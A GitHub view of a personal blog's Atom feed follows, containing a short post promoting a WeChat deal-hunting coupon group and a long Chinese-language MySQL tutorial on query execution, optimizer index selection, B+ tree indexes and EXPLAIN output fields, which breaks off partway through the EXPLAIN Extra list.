-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
1822 lines (1760 loc) · 125 KB
/
atom.xml
File metadata and controls
1822 lines (1760 loc) · 125 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<id>https://yao177.github.io</id>
<title>Yao177's Blog</title>
<updated>2022-03-10T10:51:53.414Z</updated>
<generator>https://github.com/jpmonette/feed</generator>
<link rel="alternate" href="https://yao177.github.io"/>
<link rel="self" href="https://yao177.github.io/atom.xml"/>
<subtitle><b>E</b>·rror = <b>m</b>·ore * <b>c²</b>·ode</subtitle>
<logo>https://yao177.github.io/images/avatar.png</logo>
<icon>https://yao177.github.io/favicon.ico</icon>
<rights>All rights reserved 2022, Yao177's Blog</rights>
<entry>
<title type="html"><![CDATA[薅羊毛三部曲]]></title>
<id>https://yao177.github.io/post/fleeces/</id>
<link href="https://yao177.github.io/post/fleeces/">
</link>
<updated>2022-03-10T08:56:33.000Z</updated>
<content type="html"><![CDATA[<h2 id="进群">🥇 进群</h2>
<p>微信扫码,加入羊毛捡漏交流群!(为方便,用了个人企业微信)<br>
<img src="https://yao177.github.io/post-images/1646904715923.jpeg" alt="" width="70%" loading="lazy"></p>
<h2 id="关注">🥈 关注</h2>
<p>微信扫码,关注公众号,会有定期羊毛集中推送!(也可搜索「沉摸的羔羊」)<br>
<img src="https://yao177.github.io/post-images/1646905141941.jpg" alt="" width="50%" loading="lazy"></p>
<h2 id="下单">🥉 下单</h2>
<p>最重要的一步来啦!<br>
群里经常性分享优质羊毛,也可以分享商品链接至群/公众号,即可快速比价领券!<br>
<img src="https://yao177.github.io/post-images/1646908689346.jpeg" alt="" width="90%" loading="lazy"></p>
<h2 id="效果展示">🤑 效果展示</h2>
<p>真的省了好多!<br>
<img src="https://yao177.github.io/post-images/1646908725609.jpeg" alt="" width="55%" loading="lazy"><br>
<img src="https://yao177.github.io/post-images/1646908737627.jpeg" alt="" loading="lazy"><br>
给大家来个长图看看!<br>
<img src="https://yao177.github.io/post-images/1646908746695.jpeg" alt="" width="45%" loading="lazy"></p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[转|MySQL|待]]></title>
<id>https://yao177.github.io/post/MySQL/</id>
<link href="https://yao177.github.io/post/MySQL/">
</link>
<updated>2022-02-15T14:52:21.000Z</updated>
<content type="html"><![CDATA[<h1 id="一条查询语句的执行过程">一条查询语句的执行过程</h1>
<h2 id="基本架构">基本架构</h2>
<p>MySQL 的基本架构图如下图所示。<br>
<img src="https://yao177.github.io/post-images/1646233619656.svg" alt="" loading="lazy"></p>
<p>大体来说,MySQL 可以分为 Server 层和存储引擎层两个部分</p>
<ol>
<li>Server 层包括:连接器、查询缓存、分析器、优化器、执行器等核心服务功能;所有跨存储引擎的功能都在这一层实现:存储过程、触发器、视图等。
<ul>
<li>连接器:负责跟客户端建立连接、维持和管理连接</li>
<li>查询缓存:以 key-value 的形式存储执行过的语句和结果</li>
<li>分析器:词法分析、语法分析</li>
<li>优化器:生成最优的执行计划,包括索引选择、join 表的顺序等</li>
<li>执行器:操作存储引擎,返回结果</li>
</ul>
</li>
<li>存储引擎层:通过提供读写接口,来负责数据的存储和提取。<br>
其架构模式是插件式的,支持 Innodb、MyISAM 等存储引擎,其中 Innodb 是最常用的存储引擎。</li>
</ol>
<p>下面将简单介绍Server层中的各个组件</p>
<h3 id="连接器">连接器</h3>
<p>连接器:负责跟客户端建立连接、获取权限、维持和管理连接。</p>
<p><em>需要注意的是:由于验证通过之后连接器会获取该用户的权限,之后这个连接里的所有权限判断逻辑都依赖于此权限,因此,一个用户成功建立连接后,即使管理员对这个用户的权限做了修改,也不会影响已经存在连接的权限,修改完后,只有再新建的连接才会使用新的权限设置。</em></p>
<h3 id="查询缓存">查询缓存</h3>
<p>查询缓存:以 key-value 的形式存储执行过的语句和结果。<br>
在解析一个查询语句之前,如果查询缓存是打开的,那么 MySQL 会优先检查这个查询是否命中查询缓存中的数据。<br>
查询缓存是从 4.1 版本开始支持,默认是关闭的,可以在运行时设置变量<code>set query_cache_type=1</code>开启,也可以重写配置文件中的参数开启。<br>
通过语句<code>show variables like '%query_cache%';</code>可以查看关于查询缓存相应的信息,例如:通过<s>query_cache_size</s><code>query_cache_type</code>可以知晓查询缓存是否开启等。</p>
<figure data-type="image" tabindex="1"><img src="https://yao177.github.io/post-images/1646233961964.png" alt="" loading="lazy"></figure>
<p><em>一般情况下,不建议使用查询缓存,这是因为对于一个表的更新操作,这个表上所有的查询缓存都会被清空。<br>
因此除了很少更新的配置表外可以使用查询缓存来提供查询速度,其他的一般不建议使用查询缓存。</em></p>
<p>关于查询缓存的更详细信息可以参考文档 <a href="https://segmentfault.com/a/1190000003039232">MySql 查询缓存笔记</a></p>
<h3 id="分析器">分析器</h3>
<p>分析器:包括词法分析、语法分析等。</p>
<p>这个阶段会检查:</p>
<ol>
<li>是否使用了错误的关键字;</li>
<li>使用的关键字顺序是否正确;</li>
<li>检查数据表和数据列是否存在等。</li>
</ol>
<p>我们经常看到的“You have an error in your SQL syntax”提示,就是在这个阶段判断出来的错误。下面就是一个将“where”关键字写错的例子。</p>
<figure data-type="image" tabindex="2"><img src="https://yao177.github.io/post-images/1646234188203.png" alt="" loading="lazy"></figure>
<h3 id="优化器">优化器</h3>
<p>一般情况下,一条查询可以有多种执行方法,最后都是返回相同结果。优化器的作用就是找到这其中最好的执行计划。<br>
MySQL使用基于成本的查询优化器。它会根据统计信息和代价模型预测一个查询使用某种执行计划时的成本,并选择其中成本最少的一个。</p>
<p><em>查询优化器中有两个依赖:统计信息和代价模型。统计信息的准确与否、代价模型的合理与否都会影响优化器选择最优计划。</em></p>
<p>下面来看两个关于优化器选择索引的例子。</p>
<h4 id="正确选择索引的例子">正确选择索引的例子</h4>
<p>构建了一个表,除主键 id 外,还有另外两个字段a、b,分别都有索引,然后插入了100000条数据(注:a值全部为3)。</p>
<pre><code class="language-sql">CREATE TABLE `Test` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`a` int(11) DEFAULT NULL,
`b` int(11) NOT NULL,
PRIMARY KEY (`id`),
KEY `IDX_a` (`a`),
KEY `IDX_b` (`b`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DELIMITER //
CREATE PROCEDURE proc1()
BEGIN
declare i int;
set i = 1;
while(i<=100000) do
insert into Test value(i,3,i);
set i=i+1;
end while;
END //
DELIMITER ;
call proc1();
</code></pre>
<p>当我们执行<code>select * from Test where a = 3 and b = 4</code>有如下两种不同的执行方式:</p>
<ol>
<li>选择a这个索引,得到索引值为3的第一条记录的主键Id,然后回表查询出行记录返回给执行器,执行器判断记录中的字段b是否为4,如果为4,则加入结果集并继续遍历依次判断。</li>
<li>选择b这个索引,得到索引值为4的第一条记录的主键Id,然后回表查询出行记录返回给执行器,执行器判断记录中的字段a是否为3,如果为3,则加入结果集并继续遍历依次判断。</li>
</ol>
<p>结合表中的数据和经验我们都知道,选择b作为索引来执行将更合理,因为:b的区分度更好,符合条件的记录要更少,将会更快的找到结果。<br>
用explain可以看到优化器选择的索引为:IDX_b,而不是选择的IDX_a,这就是优化器基于统计信息和代价模型得到的最优执行计划,符合我们的预期。</p>
<figure data-type="image" tabindex="3"><img src="https://yao177.github.io/post-images/1646234390390.png" alt="" loading="lazy"></figure>
<p><em>注:可能有的同学会问:列a就不应该给它创建索引,因为区分度为1/10000,例子虽然极端,但主要想表达这样一种思想。</em></p>
<p>如果想了解优化器选择每个索引的执行成本,可以观察 optimizer_trace 的<a href="https://gist.githubusercontent.com/yao177/8eb38fd70049793e792db5ac1b506678/raw/optimizer_trace%2520log">输出日志</a></p>
<p>从日志中,也可以更清晰的看出选择的是索引:IDX_b。</p>
<h4 id="错误选择索引的例子">错误选择索引的例子</h4>
<p>一般情况下,优化器会选择出最优的执行计划,但是也存在选取错误的执行计划的情况。</p>
<p>构建了一个表Test2,除主键id外,还有另外两个字段a、b,分别都有索引,然后插入了100000条数据</p>
<pre><code class="language-sql">CREATE TABLE `Test2` (
`id` int(11) unsigned NOT NULL AUTO_INCREMENT,
`a` int(11) DEFAULT NULL,
`b` int(11) DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `IDX_a` (`a`),
KEY `IDX_b` (`b`)
) ENGINE=InnoDB AUTO_INCREMENT=100001 DEFAULT CHARSET=utf8mb4;
DELIMITER //
CREATE PROCEDURE proc2()
BEGIN
declare i int;
set i = 2;
while(i<=100000) do
insert into Test2 value(i,i,i);
set i=i+1;
end while;
END //
DELIMITER ;
call proc2();
</code></pre>
<p>下面我们来看下这条语句:<code>select * from Test2 where (a between 1 and 1000) and (b between 50000 and 100000) order by b limit 1;</code>。<br>
从条件上来看,此表Test2中没有符合条件的结果。</p>
<p><em>但是你觉得MySQL会选择索引a还是索引b呢?先留给大家思考,章节末有相关的分析可以作为参考</em></p>
<h3 id="执行器">执行器</h3>
<p>通过调用存储引擎定义好的API,操作存储引擎,并将结果返回给客户端。具体例子见文章第二节。</p>
<h2 id="一条查询语句的执行过程-2">一条查询语句的执行过程</h2>
<p>上面介绍了 MySQL 的基本架构以及相应的模块,下面将通过上文中的查询语句作为例子来说明一条查询语句的执行过程。<br>
假设当客户端和服务端建立连接之后,客户端向服务端发送如下一个「查询」请求:<code>select * from Test where a = 3 and b = 4;</code></p>
<p>MySQL的执行路径如下:</p>
<ol>
<li>如果查询缓存是打开的,服务器端会优先检查查询缓存,如果命中了缓存,则立刻返回存储在缓存中的结果。否则进入下一阶段。</li>
<li>服务器端的分析器对SQL进行词法分析、语法分析,再由优化器从存储引擎获取统计信息,根据代价模型生成对应的执行计划(索引b就是在这个阶段完成)。</li>
<li>服务器端根据优化器生成的执行计划,再调用存储引擎的API来执行查询,并将结果返回给客户端,具体如下
<ol>
<li>调用InnoDB存储引擎的接口取满足”b=4“条件的第一条记录返回给执行器</li>
<li>执行器判断该记录中的a字段是否等于3,如果不等于则跳过,否则放入结果集</li>
<li>调用InnoDB存储引擎的接口取满足“b=4”条件的下一条记录并返回给执行器</li>
<li>重复第二、三步,直至循环遍历结束</li>
<li>执行器将结果集返回给客户端</li>
</ol>
</li>
</ol>
<p>注:MySQL 将结果返回客户端是一个增量、逐步返回的过程,并不一定等到所有的结果集都查出来再返回。<br>
这样处理有两个好处:</p>
<ol>
<li>服务器无需存储太多的结果,也就不会因为要返回太多的结果而消耗太多的内存;</li>
<li>这样的处理也让 MySQL 客户端第一时间获得返回的结果。</li>
</ol>
<p>为方便理解,这里也画了一个流程图,如下图所示:<br>
<img src="https://yao177.github.io/post-images/1646235043473.svg" alt="" loading="lazy"></p>
<h2 id="扩展">扩展</h2>
<p>在查询的过程中,会有如下两种情况:</p>
<ol>
<li>所在的数据页已经在内存 (buffer pool) 中了,则直接查询。</li>
<li>所在的数据页不在内存 (buffer pool) 中
<ol>
<li>如果此时 buffer pool 的大小不足,则会淘汰 buffer pool 中的最久不使用的数据页为该数据页腾出位置,如果该数据页为脏页,则会在淘汰之前刷脏页到磁盘。
<ul>
<li>如果遇到这种情况且脏页比较多,则可能就导致该次查询会较慢,给我们的直观感受就是MySQL“抖”了一下。为了避免出现这种情况,个人建议:</li>
<li>在编写 SQL 语句时习惯性使用 limit 字段来加以限制,避免一个查询要淘汰的脏页个数太多。</li>
</ul>
</li>
<li>所在的数据页不在内存中,而如果此时 change buffer 中该数据页有更新,则会在磁盘中读取该数据页之后与 change buffer 中的内容进行 merge 作为新的数据页,然后查询结果并返回。</li>
</ol>
</li>
</ol>
<p><em>change buffer 是一种重要的数据变更日志。 change buffer 的主要目的是将对二级索引的数据操作缓存下来,以此减少二级索引的随机IO,并达到操作合并的效果。</em></p>
<p>限于篇幅加上笔者水平有限,至于 buffer pool、change buffer、脏页等内容,如果有兴趣,将会在下一篇总结中呈现。</p>
<h2 id="问题和思考">问题和思考</h2>
<h3 id="问题分析">问题分析</h3>
<p>本文的中间关于优化器选择索引留了一个问题<code>select * from Test2 where (a between 1 and 1000) and (b between 50000 and 100000) order by b limit 1;</code><br>
此查询语句MySQL会选择哪个索引呢?<br>
在分析之前,先将查询语句中的order by b去掉我们来分析一下:<code>select * from Test2 where (a between 1 and 1000) and (b between 50000 and 100000) limit 1;</code></p>
<ul>
<li>如果选择索引a则最多会扫描1000行,最少1行</li>
<li>如果选择索引b则最多会扫描50000行,最少1行<br>
这种情况,毫无疑问,选择索引b所需要扫描的行数要多很多且没有其他因素干扰,因此执行器会选择索引a。<br>
MySQL下有个了解优化器工作过程的利器,其就是 optimizer_trace。使用方法为:</li>
</ul>
<pre><code class="language-sql">SET OPTIMIZER_TRACE_MAX_MEM_SIZE=268435456;
SET optimizer_trace="enabled=on";
select * from Test2 where (a between 1 and 1000) and (b between 50000 and 100000) limit 1;
select * from INFORMATION_SCHEMA.OPTIMIZER_TRACE\G
</code></pre>
<p>MySQL 5.7.20输出内容如下:从输出内容 rows_estimation 的部分可以看到选择索引a的成本最小,<a href="https://gist.githubusercontent.com/yao177/822d7b7fcfaface2588e35087a2637ff/raw/optimizer_trace%2520log%25202">日志链接</a></p>
<p>如果查询语句中有<code>order by b</code>呢?情况如下:</p>
<ul>
<li>如果选择索引a则最多会扫描1000行,最少1行,而且排序还需要耗时</li>
<li>和查询语句中没有order by b时一样,如果选择索引b则最多会扫描50000行,最少1行,不需要排序<br>
这种情况,MySQL会选择索引a还是索引b呢?</li>
</ul>
<p><strong>答案是选择了索引b,原因是:order by b 引导了优化器选择了索引b。</strong><br>
<img src="https://yao177.github.io/post-images/1646235832056.png" alt="" loading="lazy"><br>
<img src="https://yao177.github.io/post-images/1646235851255.png" alt="" loading="lazy"></p>
<p>结合<a href="https://gist.githubusercontent.com/yao177/b943fb741ba61037a00f73d46199f8a7/raw/optimizer_trace%2520log%25203">输出内容</a> rows_estimation、reconsidering_access_paths_for_index_ordering 两部分可以看到:最终选择了索引b。</p>
<p><a href="https://github.com/yao177/self-collection/raw/main/MySQL%2Border%2Bby%E4%BC%98%E5%8C%96bug%E8%A7%A3%E6%9E%90.key">扩展阅读</a></p>
<h3 id="分析器到查询缓存这条线的作用">分析器到查询缓存这条线的作用</h3>
<p>问题:架构图中分析器-->查询缓存 这条线(如下图红色标出位置)的作用是什么,是不是箭头画错了?<br>
答案:失效缓存,当分析器检查出该次操作为更新操作时,如果查询缓存是开启的,则会失效相应的缓存。</p>
<figure data-type="image" tabindex="4"><img src="https://yao177.github.io/post-images/1646236407126.svg" alt="" loading="lazy"></figure>
<blockquote>
<p>这是一位同事在阅读了本文之后提出来的问题,这是一个好问题,督促我更好的了解了该架构图,在此表示感谢。<br>
在本文的前面部分所介绍的查询流程中,唯独没有涉及到分析器-->查询缓存这一条线,因此笔者觉得有必要在此说明这条线的作用。</p>
</blockquote>
<p>除了分析器-->查询缓存这一条线之外,其实:执行器也应该有一条线来指向查询缓存,作用是:如果查询缓存是开启的,则会将查询结果放入缓存。(至于在架构图中都没有画出来,个人猜测是为了架构图更简洁吧)</p>
<h2 id="参考阅读">参考阅读</h2>
<ul>
<li><a href="https://time.geekbang.org/column/article/68319">基础架构:一条SQL查询语句是如何执行的?</a></li>
<li><a href="https://time.geekbang.org/column/article/71173">MySQL为什么有时候会选错索引?</a></li>
<li><a href="http://mysql.taobao.org/monthly/2015/11/07/">淘宝 数据库内核月报 2015.11</a></li>
<li><a href="https://dev.mysql.com/doc/internals/en/tracing-example.html">MySQL official manual - Tracing the Optimizer</a></li>
<li><a href="https://www.jianshu.com/p/caf5818eca81">MySQL ORDER BY主键id加LIMIT限制走错索引</a></li>
</ul>
<hr>
<h1 id="慢查询引起的车祸线程">慢查询引起的车祸线程</h1>
<p>这一部分主要是站在老司机的肩膀上从原理总结、mysql慢查询优化方法、case案例分析等几个方面结合自己这段时间在工作上遇到的慢查询谈谈数据库索引的原理和如何优化慢查询。一方面给自己总结,另一方面希望看到的老司机能够指出其中的错误和不足,哈哈哈。</p>
<h2 id="上车前原理分析">上车前(原理分析)</h2>
<p>这部分我主要想总结一下数据库索引的原理,可能是老生常谈的东西了,【<strong>慢</strong>查询】这个词主要的重点就是慢,就像我们开车一样,我们发车前最重要的就是了解这部车,而我们要知道我们的SQL语句为什么会慢,我们当然必须对数据的查找过程有所了解。</p>
<h3 id="磁盘-io">磁盘 IO</h3>
<p><strong>举个例子</strong>:其实对于数据索引这样的例子,在我们日常生活其实也是很多,通常大家都举查字典的例子吧?为了新鲜感,我换一个,比如你找对象,如果你是男的,你最先的目标是女孩子的吧(除个别外),这样我们就排除了一部无效数据,然后咱们再选咱们同一个城市的吧?又剔除了一部分无效数据,最后我们再选年龄等,最后留下了我们目标人群。这种查找过程其实也是一种索引过程。<br>
<strong>磁盘IO</strong>:我们计算机是怎么查询数据的呢?当计算机把数据保存在磁盘上,而为了提高性能,每次又可以把部分数据读入内存来计算,因为我们知道<em>访问磁盘的成本大概是访问内存的十万倍左右</em>,所以简单的搜索树难以满足复杂的应用场景。考虑到磁盘IO是非常高昂的操作,计算机操作系统做了一些优化,当一次IO时,不光把当前磁盘地址的数据,而是把相邻的数据也都读取到内存缓冲区内,因为局部预读性原理告诉我们,当计算机访问一个地址的数据的时候,与其相邻的数据也会很快被访问到。每一次IO读取的数据我们称之为一页(page)。<em>具体一页有多大数据跟操作系统有关,一般为4k或8k,也就是我们读取一页内的数据时候,实际上才发生了一次IO</em>,所以结合我们的例子以及计算机查询数据的原理,为了提高查询数据的查询速度,需要保证最小的IO次数,B+树的数据结构应运而生。</p>
<h3 id="索引结构">索引结构</h3>
<figure data-type="image" tabindex="5"><img src="https://yao177.github.io/post-images/1646239566030.svg" alt="" loading="lazy"></figure>
<p>如上图,是一颗b+树,关于b+树的定义可以参见<a href="http://zh.wikipedia.org/wiki/B%2B%E6%A0%91">B+树</a>,这里只说一些重点,浅蓝色的块我们称之为一个磁盘块,可以看到每个磁盘块包含几个数据项(深蓝色所示)和指针(黄色所示),如磁盘块1包含数据项17和35,包含指针P1、P2、P3,P1表示小于17的磁盘块,P2表示在17和35之间的磁盘块,P3表示大于35的磁盘块。真实的数据存在于叶子节点即3、5、9、10、13、15、28、29、36、60、75、79、90、99。非叶子节点只不存储真实的数据,只存储指引搜索方向的数据项,如17、35并不真实存在于数据表中。<br>
如果要查找数据项29,那么首先会把磁盘块1由磁盘加载到内存,此时发生一次IO,在内存中用二分查找确定29在17和35之间,锁定磁盘块1的P2指针,内存时间因为非常短(相比磁盘的IO)可以忽略不计,通过磁盘块1的P2指针的磁盘地址把磁盘块3由磁盘加载到内存,发生第二次IO,29在26和30之间,锁定磁盘块3的P2指针,通过指针加载磁盘块8到内存,发生第三次IO,同时内存中做二分查找找到29,结束查询,总计三次IO。真实的情况是,3层的b+树可以表示上百万的数据,如果上百万的数据查找只需要三次IO,性能提高将是巨大的,如果没有索引,每个数据项都要发生一次IO,那么总共需要百万次的IO,显然成本非常非常高。</p>
<ol>
<li>通过上面的分析,我们知道IO次数取决于b+数的高度h,假设当前数据表的数据为N,每个磁盘块的数据项的数量是m,则有h=㏒(m+1)N,当数据量N一定的情况下,m越大,h越小;而m = 磁盘块的大小 / 数据项的大小,磁盘块的大小也就是一个数据页的大小,是固定的,如果数据项占的空间越小,数据项的数量越多,树的高度越低。这就是为什么每个数据项,即索引字段要尽量的小,比如int占4字节,要比bigint8字节少一半。这也是为什么b+树要求把真实的数据放到叶子节点而不是内层节点,一旦放到内层节点,磁盘块的数据项会大幅度下降,导致树增高。当数据项等于1时将会退化成线性表。</li>
<li>当b+树的数据项是复合的数据结构,比如(name,age,sex)的时候,b+树是按照从左到右的顺序来建立搜索树的,比如当(张三,20,F)这样的数据来检索的时候,b+树会优先比较name来确定下一步的所搜方向,如果name相同再依次比较age和sex,最后得到检索的数据;但当(20,F)这样的没有name的数据来的时候,b+树就不知道下一步该查哪个节点,因为建立搜索树的时候name就是第一个比较因子,必须要先根据name来搜索才能知道下一步去哪里查询。比如当(张三,F)这样的数据来检索时,b+树可以用name来指定搜索方向,但下一个字段age的缺失,所以只能把名字等于张三的数据都找到,然后再匹配性别是F的数据了,这个是非常重要的性质,即索引的最左匹配特性。</li>
</ol>
<h2 id="上车慢查询优化">上车(慢查询优化)</h2>
<p>从上面的原理我们可以知道,我们其实要做的就是让数据库在查找数据时,尽可能地选择最短的路径查找到想要的数据,尽可能地减少磁盘IO次数。</p>
<h3 id="索引的一些概念">索引的一些概念</h3>
<h4 id="索引概念重要">索引概念(重要)</h4>
<p>排好序的快速查找的数据结构(我们平时说的索引,如果没有特别指明,都是指B树,其中聚集索引、次要索引、覆盖索引、复合索引、前缀索引、唯一索引默认使用的都是B+树索引,除B+树这种类型的索引外还有哈希索引等)</p>
<h4 id="有缺点何种情况建索引">有缺点——何种情况建索引</h4>
<ol>
<li>优点
<ul>
<li>查找 :提高数据检索效率,降低IO成本。</li>
<li>排序:通过索引对数据进行排序,降低排序成本,降低cpu消耗<br>
2、缺点</li>
<li>实际上索引也是一张表,该表保存了主键与索引字段,并指向索引的记录,所以索引列也需要占空间。</li>
<li>更新表时(insert、update、delete)不仅要保存数据还要更新保存索引文件新添加的索引列。</li>
</ul>
</li>
</ol>
<h4 id="索引分类">索引分类</h4>
<ol>
<li>单值索引(单列索引):一个索引只包含单个列,一个表中可以有多个单列索引</li>
<li>唯一索引:索引列必须唯一,但可以允许有空值</li>
<li>复合索引:一个索引包含多个列</li>
</ol>
<h4 id="mysql-索引结构">mysql 索引结构</h4>
<ol>
<li>BTree索引</li>
<li>Hash索引</li>
<li>full-text全文检索</li>
<li>R-Tree索引</li>
</ol>
<h3 id="适合创建索引-不适合创建索引">适合创建索引 & 不适合创建索引</h3>
<ul>
<li>哪些情况要建索引
<ol>
<li>主键自动建主键索引</li>
<li>频繁作为查询条件的字段应该创建索引</li>
<li>查询中与其他表关联的字段,外键关系建立索引</li>
<li>在高并发下倾向建立组合索引</li>
<li>查询中的排序字段,排序字段若通过索引去访问将大大提高排序速度</li>
<li>查询中统计或者分组的数据</li>
</ol>
</li>
<li>哪些情况不适合建索引
<ol>
<li>频繁更新的字段</li>
<li>where条件用不到的字段不创建索引</li>
<li>表记录太少</li>
<li>经常增删改的表</li>
<li>数据重复太多的字段,为它建索引意义不大(假如一个表有10万,有一个字段只有T和F两种值,每个值的分布概率大约只有50%,那么对这个字段的建索引一般不会提高查询效率,索引的选择性是指索引列的不同值数据与表中索引记录的比,,如果,一个表中有2000条记录,表中索引列的不同值记录有1980个,这个索引的选择性为1980/2000=0.99,如果索引项越接近1,这个索引效率越高)</li>
</ol>
</li>
</ul>
<h2 id="翻车">翻车</h2>
<h3 id="explain-字段分析">explain 字段分析</h3>
<figure data-type="image" tabindex="6"><img src="https://yao177.github.io/post-images/1646240153472.png" alt="" loading="lazy"></figure>
<h4 id="id"><code>id</code></h4>
<p>表示select子句或者操作的顺序。</p>
<ol>
<li>id相同:执行顺序自上而下</li>
<li>id不同:id值越大优先级越高,越先被执行</li>
<li>id相同不同:id越大越先执行,相同的自上而下执行</li>
</ol>
<h4 id="select_type"><code>select_type</code></h4>
<p>主要是区分普通查询、联合查询、子查询等。</p>
<ul>
<li>SIMPLE:简单的select查询,不包含子查询与union</li>
<li>PRIMARY:查询中包含复杂的子部分,最外层会被标记为primary</li>
<li>SUBQUERY:在select或者where列表中包含了子查询</li>
<li>DERIVED:在from列表中包含的子查询衍生表</li>
<li>UNION:若第二个select出现在union之后,则被标记为union</li>
<li>UNION RESESULT:从union表获取结果的select</li>
</ul>
<h4 id="table"><code>table</code></h4>
<p>表示这一行数据是哪个表的数据。</p>
<h4 id="type"><code>type</code></h4>
<p>表示查询中使用了何种类型(优化程度参考)。<br>
结果值从最好到最坏:system > const > eq_ref > ref > fulltext > ref_or_null > index_merge > unique_subquery > index_subquery > range > index > all<br>
<em>一般来说,得保证查询至少达到range级别,最好能到达ref</em></p>
<ul>
<li>system:表只有一行记录(等于系统表),这是const类型的特例,平时不会出现</li>
<li>const:表示通过索引一次就能够找到</li>
<li>eq_ref:唯一性索引扫描,对于每个索引键,表示只有一条记录与之匹配,常见于主键或唯一索引扫描</li>
<li>ref:非唯一性索引扫描,返回匹配某个单独值的所有行</li>
<li>range:只检索给定范围的行,使用一个索引来选择行,一般就是在where语句中出现了between、<、>、in等的查询</li>
<li>index:index比all快,因为index是从索引中读取,all是从硬盘中读取</li>
<li>all:遍历全表才能找到</li>
</ul>
<h4 id="possible_keys"><code>possible_keys</code></h4>
<p>显示可能应用在这张表中的索引,但实际上不一定用到。</p>
<h4 id="key"><code>key</code></h4>
<p>实际上使用的索引,如果没有则为null。</p>
<h4 id="key_len"><code>key_len</code></h4>
<p>表示索引中使用的字节数(可能使用的,不是实际的),可通过该列查询中使用的索引的长度,在不损失精确性的情况下,长度越短越好</p>
<h4 id="ref"><code>ref</code></h4>
<p>显示索引的哪一列被用到,如果可能的话是一个常数,哪些常量被用于查找索引列上的值</p>
<h4 id="rows"><code>rows</code></h4>
<p>大致估算找出所需的记录要读取的行数</p>
<h4 id="extra"><code>Extra</code></h4>
<p>包含不适合在其他列中显示,但十分重要的的额外信息</p>
<ol>
<li>Using filesort 说明mysql会对数据使用一个外部的索引排序,而不是按照表内的索引顺序进行读取,mysql中无法利用索引完成的排序成为“文件排序”</li>
<li>Using temporary 使了用临时表保存中间结果,mysql在对查询结果排序时使用了临时表,常见于排序order by 和分组查询group by</li>
<li>Using index 表示相应的select操作中使用了覆盖索引,避免访问了表的数据行,效率高,如果同时出现了using where 表明索引被用来执行索引键值查找,如果没有出现 using where 表明索引用来读取而非执行查询动作。</li>
<li>Using where 表明使用了where进行过滤</li>
<li>Using join buffer 使用了连接缓存</li>
<li>impossible where where子句的值总是false,不能用来获取任何元组</li>
